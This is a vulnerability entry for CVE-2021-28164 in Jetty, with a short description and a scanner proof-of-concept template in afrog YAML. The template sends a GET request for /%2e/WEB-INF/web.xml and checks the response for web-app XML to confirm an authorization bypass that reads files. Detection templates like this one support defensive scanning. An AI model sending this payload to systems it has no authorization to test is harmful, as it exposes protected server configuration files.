CVE-2021-28164: Jetty Authorization Before Parsing and Canonicalization

漏洞描述

Jetty before 9.4.43.v20210629 does not properly authorize requests before parsing and canonicalizing the path, which allows remote attackers to read arbitrary files via a crafted request.

PoC代码[已公开]

id: CVE-2021-28164

info:
  name: Jetty Authorization Before Parsing and Canonicalization
  author: Sup3rm4nx0x
  severity: medium
  description: |-
    Jetty before 9.4.43.v20210629 does not properly authorize requests before parsing and canonicalizing the path, which allows remote attackers to read arbitrary files via a crafted request.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28164
    - https://www.rapid7.com/db/modules/auxiliary/scanner/http/jetty_authorization_bypass/
  tags: cve,cve2021,jetty,ssrf
  created: 2024/02/26

rules:
  r0:
    request:
      method: GET
      path: /%2e/WEB-INF/web.xml
    expression: response.status == 200 && response.body.bcontains(b'<web-app') && response.body.bcontains(b'</web-app>')
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2021/CVE-2021-28164.yaml